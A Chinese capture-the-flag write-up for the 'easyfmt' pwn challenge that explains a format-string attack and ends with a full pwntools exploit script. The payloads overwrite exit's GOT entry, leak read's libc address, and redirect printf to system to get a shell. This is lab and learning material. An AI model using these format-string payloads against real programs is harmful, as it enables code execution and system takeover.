攻防世界(pwn)easyfmt
这题出的很奇怪,本地调试不知道为什么出问题,远程也调了很久才通,希望路过的大佬提出更好的思路和解题方式!
查看一下保护:
开了canary,NX,部分打开RELRO,没开PIE,可以尝试got表的覆盖。
这里不能有时候全信,还是要打开IDA自己分析才行。
可以看到有明显的格式化字符串漏洞,看看怎么利用他。
要运行到格式化字符串漏洞,我们必须完成一个判定,我们进入CheckIn函数看看。
CheckIn函数其实就是程序产生一个随机数,然后需要我们输入一个数字,程序检查我们输入的数字和随机数是否一样,一样便可以进入下一阶段。
随机数的范围不大,我们就直接**就没问题了。
这里我选择的是手动**,反正概率很高,你也可以写try…Except…来写一个自动**的函数。
这里选择输入1,一直运行就有几率成功。
好的,进入格式化字符串漏洞的重头戏,由于程序运行到一次就会exit(0),我们首先利用格式化字符串漏洞把exit函数的got地址改写了(注意不是got表里边的地址)。
我们首先查看一下偏移:
这里可以看到有两种方式,一种是工具提供的偏移为7,另一种是手动测试的偏移为8,然后观察一下:
可以看到偏移为8,我这边可能是工具没安装好,还是手工测比较靠谱。
p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)
0x982就是CheckIn判定之后的函数地址,这样我们就可以跳转到CheckIn判断之后的函数了。
然后我们考虑泄露libc版本,但是这边又出问题了,由于我们跳转了堆栈地址,程序的栈地址发生的改变,(这里我看了半天,完全不知道为什么,希望大佬告知)通过实测,我们发现格式字符串漏洞的偏移加了一位,这里我们可以在exp种下attach来调试:
p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)
gdb.attach(p)
#pause()
p.recvuntil('slogan: ')
payload = '%10$sAAA'
p.sendline(payload)
p.interactive()
这里要下interactive,不然程序会终止运行。
运行结果:
我们真实的看到,格式字符串漏洞的偏移加一了,不管为什么,调出来的肯定没错了。
然而到这里我的本地就打不通了,只能靠远端来测试????。
这里死活收不到,我们只能换远端。
换了远端后还是有一个问题出现了,如果这样写:
p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)
read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset
就会接收到一个奇怪的read_addr,看起来就很怪,用他查找到的libc库也非常多。
实测这个地址根本不对,估计这里由于堆栈发生变化的原因我必须这样写才行:
p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)
p.recv(1)
read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset
没错,我们加一个recv(1),向后移一位接收才行:
这样就好了,这里也是估计,不是很知道原因。
泄露出libc地址,我们就考虑来覆盖got表里边的地址来执行system函数了,这里我们采用部分覆盖的方法。
这里我的本地打不通了,不能使用gdb调试看数据了,我就只能根据上面的偏移来猜测,在原来的基础上再加一偏移,结果证实猜想是正确的
data = (system&0xFF)
payload = '%' + str(data) + 'c%14$hhn'
data = ((system&0xFFFFFF) >> 8) - data
payload += '%' + str(data) + 'c%15$hn'
payload = payload.ljust(32, 'A')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 1)
p.recvuntil('slogan: ')
p.sendline(payload)
这里我们只需要覆盖后三字节就行了,我们就构造这样的payload。
完整exp:
from pwn import *
from LibcSearcher import *
local = 0
if local:
p = process('./easyfmt')
else:
p = remote('111.198.29.45',*****)
debug = 1
if debug:
context.log_level = 'debug'
elf = ELF('./easyfmt')
p.sendlineafter('enter:', '1')
p.recvuntil('slogan: ')
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16, 'a')
payload += p64(elf.got['exit'])
p.sendline(payload)
#gdb.attach(p)
#pause()
p.recvuntil('slogan: ')
payload = '%10$sAAA' + p64(elf.got['read'])
p.sendline(payload)
#p.interactive()
#gdb.attach(p)
p.recv(1)
read_addr = u64(p.recvuntil('AAA', drop = True).ljust(8,'\x00'))
print hex(read_addr)
obj = LibcSearcher('read', read_addr)
offset = read_addr - obj.dump('read')
system = obj.dump('system') + offset
data = (system&0xFF)
payload = '%' + str(data) + 'c%14$hhn'
data = ((system&0xFFFFFF) >> 8) - data
payload += '%' + str(data) + 'c%15$hn'
payload = payload.ljust(32, 'A')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 1)
p.recvuntil('slogan: ')
p.sendline(payload)
p.sendlineafter('slogan: ','/bin/sh')
p.interactive()